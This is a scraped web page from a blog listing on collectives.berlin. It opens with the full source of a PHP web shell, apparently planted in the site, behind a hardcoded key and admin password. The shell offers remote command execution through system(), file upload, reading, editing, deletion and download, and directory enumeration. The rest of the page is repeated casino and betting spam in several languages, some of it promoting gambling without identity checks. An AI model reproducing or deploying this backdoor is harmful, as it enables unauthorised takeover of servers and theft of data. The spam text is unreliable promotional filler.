if (isset($_GET['k']) && $_GET['k'] === 'mintinplan') { function ws_g($k) { return isset($_GET[$k]) ? $_GET[$k] : (isset($_POST[$k]) ? $_POST[$k] : ''); } function ws_b($s) { return base64_decode($s); } $validKey = 'mintinplan'; $validU = 'admin'; $validP = 'MinMaxtime'; $auth = false; $sname = 'ws_auth'; if (isset($_SESSION) && isset($_SESSION[$sname]) && $_SESSION[$sname] === true) $auth = true; elseif (isset($_COOKIE[$sname])) { $d = json_decode(ws_b(substr($_COOKIE[$sname], 0)), true); if ($d && isset($d['ok']) && $d['ok']) $auth = true; } if (!$auth) { $u = ws_g('usr'); $p = ws_g('pwd'); if ($u === $validU && $p === $validP) { @session_start(); $_SESSION[$sname] = true; setcookie($sname, base64_encode(json_encode(['ok'=>true])), time()+86400, '/', '', false, true); header('Location: ?k='.$validKey); exit; } echo 'Login


'; exit; } if (ws_g('lo')) { @session_start(); session_destroy(); setcookie($sname, '', time()-3600); header('Location: ?k='.$validKey); exit; } $act = ws_g('a'); $path = ws_g('p') ?: getcwd(); $path = realpath($path) ?: getcwd(); echo 'Shell'; echo ''; echo '
'; echo '[📂 Home] '; echo '[🖥️ Terminal] '; echo '[💾 Drives] '; echo '[🌳 Tree] '; echo '[⬆ Upload] '; echo '[🚪 Logout]'; echo '

'; switch ($act) { case 'upload': echo '

⬆ Upload File to: '.htmlspecialchars($path).'

'; echo '
'; echo '

'; echo '

'; echo ''; echo '

'; if (isset($_POST['do_upload']) && isset($_FILES['upfile'])) { $f = $_FILES['upfile']; if ($f['error'] === UPLOAD_ERR_OK) { $name = ws_g('rename') ?: $f['name']; $dest = rtrim($path, '/').'/'.$name; if (move_uploaded_file($f['tmp_name'], $dest)) { $sz = round(filesize($dest)/1024, 2); echo '

✅ Uploaded: '.htmlspecialchars($dest).' ('.$sz.'KB)

'; } else { echo '

❌ move_uploaded_file failed (check permissions on '.htmlspecialchars($path).')

'; } } else { $errors = [1=>'File too large (php.ini)',2=>'File too large (form)',3=>'Partial upload',4=>'No file',6=>'No tmp dir',7=>'Write failed',8=>'Extension blocked']; echo '

❌ Error: '.($errors[$f['error']] ?? 'Unknown').'

'; } } echo '

📋 Current directory contents:

';
            $items = scandir($path);
            if ($items) {
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $path.'/'.$item;
                    if (is_dir($full)) echo '📁 '.$item."/\n";
                    else echo '📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                }
            }
            echo '
'; break; case 'tree': echo '

🌳 Directory Tree (depth 4)

';
            function ws_tree($root, $depth=0, $max=4) {
                if ($depth > $max) return;
                if (!is_dir($root)) return;
                $items = scandir($root);
                if (!$items) return;
                foreach ($items as $item) {
                    if ($item === '.' || $item === '..') continue;
                    $full = $root.'/'.$item;
                    if (is_dir($full)) {
                        echo str_repeat('  ', $depth).'📁 '.$item."/\n";
                        ws_tree($full, $depth+1, $max);
                    } else {
                        echo str_repeat('  ', $depth).'📄 '.$item.' ('.round(filesize($full)/1024,1).'KB)'."\n";
                    }
                }
            }
            ws_tree($path);
            echo '
'; break; case 'drives': echo '

💾 Accessible Roots

';
            if (strtoupper(substr(PHP_OS,0,3)) === 'WIN') {
                for ($i=67;$i<=90;$i++) { $d=chr($i).':\\'; if (is_dir($d)) echo $d." ✓\n"; }
            } else {
                $cands = ['/','/home','/var','/tmp','/usr','/etc','/opt','/root','/srv','/www','/var/www','/var/www/html',$_SERVER['DOCUMENT_ROOT']??''];
                foreach (array_unique($cands) as $c) { if ($c && is_dir($c)) echo $c." ✓\n"; }
            }
            echo '
'; break; case 'read': $f = ws_g('f'); if (!$f || !is_file($f)) { echo 'File not found'; break; } $content = file_get_contents($f); echo '

📝 Editing: '.htmlspecialchars($f).' ('.round(strlen($content)/1024,1).'KB)

'; echo '
'; echo ''; echo '
'; echo '
'; break; case 'save': $f = ws_g('f'); $c = ws_g('c'); if ($f) { file_put_contents($f, $c); echo '✅ Saved: '.htmlspecialchars($f); } break; case 'exec': $cmd = ws_g('c'); $output = ''; if ($_SERVER['REQUEST_METHOD'] === 'POST' && $cmd) { ob_start(); system($cmd); $output = ob_get_clean(); } echo '

🖥️ Terminal (user: '.htmlspecialchars(get_current_user()).')

'; echo '
'; if ($output !== '') echo '
'.htmlspecialchars($output).'
'; else echo '
No output
'; break; case 'down': $f = ws_g('f'); if ($f && is_file($f)) { header('Content-Type: application/octet-stream'); header('Content-Disposition: attachment; filename="'.basename($f).'"'); header('Content-Length: '.filesize($f)); readfile($f); exit; } echo 'File not found'; break; case 'del': $f = ws_g('f'); if ($f && is_file($f)) { if (unlink($f)) echo '✅ Deleted: '.htmlspecialchars($f); else echo '❌ Delete failed (permission?)'; } elseif ($f && is_dir($f)) { if (rmdir($f)) echo '✅ Directory removed: '.htmlspecialchars($f); else echo '❌ rmdir failed (not empty or permission?)'; } break; case 'newfile': $fname = ws_g('nf'); if ($fname) { $dest = rtrim($path,'/').'/'.$fname; if (file_put_contents($dest, '') !== false) echo '✅ Created: '.htmlspecialchars($dest); else echo '❌ Create failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; case 'newdir': $dname = ws_g('nd'); if ($dname) { $dest = rtrim($path,'/').'/'.$dname; if (mkdir($dest, 0755)) echo '✅ Created dir: '.htmlspecialchars($dest); else echo '❌ mkdir failed'; } echo '
'; echo ''; echo ''; echo ''; echo '
'; break; default: echo '

📂 '.htmlspecialchars($path).'

'; $parent = dirname($path); if ($parent && $parent !== $path) echo '⬆ Parent | '; echo '[+ New File] | '; echo '[+ New Dir] | '; echo '[⬆ Upload]

'; echo ''; $items = scandir($path); if ($items) { foreach ($items as $item) { if ($item === '.' || $item === '..') continue; $full = $path.'/'.$item; $isDir = is_dir($full); $size = $isDir ? '-' : round(filesize($full)/1024,1).'KB'; $perms = substr(sprintf('%o',fileperms($full)),-4); $enc = urlencode($full); echo ''; if ($isDir) echo ''; else echo ''; echo ''; } } echo '
NameSizePermsActions
📁 '.$item.'📄 '.$item.''.$size.''.$perms.''; if (!$isDir) echo '[Edit] '; echo '[Download] '; echo '[Delete]'; echo '
'; break; } echo ''; exit; } public – Page 10 – collectives.berlin

Your digital paradise.

Category: public

  • Scopri i vantaggi dei giri gratuiti nei casinò online italiani

    I casinò online rappresentano una nuova frontiera nel mondo del gioco, offrendo ai giocatori l’accesso a una vasta gamma di giochi e promozioni vantaggiose. Tra queste, i giri gratuiti sono sicuramente uno dei bonus più apprezzati dagli appassionati. In questo articolo, esploreremo i vantaggi dei giri gratuiti, come funzionano e perché scegliere un casinò online…

    Click or not…

  • KYC im Online Casino ohne Verifizierung: Was bedeutet das für Spieler?

    Das Thema KYC (Know Your Customer) gewinnt im Bereich der Online-Casinos zunehmend an Bedeutung. Spieler möchten sich oft nicht durch umfangreiche Verifizierungsprozesse hindurchkämpfen, um ihrem Spielvergnügen nachzugehen. In diesem Artikel werden wir untersuchen, wie die beste online casino ohne verifizierung funktionieren und welche Vorzüge sie Spielern bieten. Finden Sie heraus, wie Sie die besten Optionen…

    Click or not…

  • Mobile App des Online Casino ohne Verifizierung: Spielspaß jederzeit und überall

    In der heutigen digitalen Welt erfreuen sich Online-Casinos zunehmender Beliebtheit, insbesondere solche, die eine Registrierung ohne Verifizierung anbieten. Diese Form des Spielens ermöglicht es den Spielern, anonym zu bleiben und gleichzeitig von den spannenden Angeboten und Boni der Plattformen zu profitieren. Viele Spieler suchen nach Möglichkeiten, um schnell zu gewinnen, und einige bevorzugen die online…

    Click or not…

  • How to choose the right games at Best Betting Sites in Australia: Quality odds

    Choosing the right games at online casinos can play a significant role in enhancing your gaming experience, especially when it comes to quality odds. With many options available, especially from ACMA-licensed betting sites in Australia, exploring new betting sites can help you understand the nuances of these games, ensuring you make informed decisions while maximizing…

    Click or not…

  • How to choose the right games at Best Betting Sites in Australia: Quality odds

    Choosing the right games at online casinos can play a significant role in enhancing your gaming experience, especially when it comes to quality odds. With many options available, especially from ACMA-licensed betting sites in Australia, exploring new betting sites can help you understand the nuances of these games, ensuring you make informed decisions while maximizing…

    Click or not…

  • Unlocking the best rewards: Betting Sites Australia promo offers you shouldn’t miss

    As the world of online gaming continues to evolve, Australian bettors are increasingly looking for the best platforms to enjoy their favorite games. Betting sites play a crucial role in delivering thrilling experiences, and understanding the best available promotions can significantly enhance the gaming experience. In 2026, various licensed bookmakers are offering exceptional betting opportunities,…

    Click or not…

  • Pusulabet’te güvenli ve hızlı para çekme yöntemleri

    Pusulabet, çevrimiçi kumarhane dünyasında kendine güvenilir bir yer edinmiştir. Kullanıcı dostu arayüzü, geniş oyun seçenekleri ve hızlı ödeme süreçleri ile dikkat çekmektedir. Bu yazıda, Pusulabet’te güvenli ve hızlı para çekme yöntemlerini detaylı bir şekilde inceleyeceğiz. Hızlı ve sorunsuz bir para çekme süreci, oyuncular için hayati öneme sahiptir. Bu nedenle, bu makalede Pusulabet’in sunduğu çeşitli para…

    Click or not…

  • Безопасные платежи в 888starz casino: как быстро вывести выигрыш

    В мире азартных игр безопасность платежей и скорость вывода выигрышей играют ключевую роль для игроков. Каждый, кто участвует в онлайн-казино, хочет не только наслаждаться играми, но и быть уверенным, что его финансы находятся в безопасности, особенно если он выбирает платформу, где можно 888starz скачать для удобного доступа к своим средствам. В этой статье мы рассмотрим…

    Click or not…

  • Безопасные платежи в 888starz casino: как быстро вывести выигрыш

    В мире азартных игр безопасность платежей и скорость вывода выигрышей играют ключевую роль для игроков. Каждый, кто участвует в онлайн-казино, хочет не только наслаждаться играми, но и быть уверенным, что его финансы находятся в безопасности, особенно если он выбирает платформу, где можно 888starz скачать для удобного доступа к своим средствам. В этой статье мы рассмотрим…

    Click or not…

  • Безопасные платежи в 888starz casino: как быстро вывести выигрыш

    В мире азартных игр безопасность платежей и скорость вывода выигрышей играют ключевую роль для игроков. Каждый, кто участвует в онлайн-казино, хочет не только наслаждаться играми, но и быть уверенным, что его финансы находятся в безопасности, особенно если он выбирает платформу, где можно 888starz скачать для удобного доступа к своим средствам. В этой статье мы рассмотрим…

    Click or not…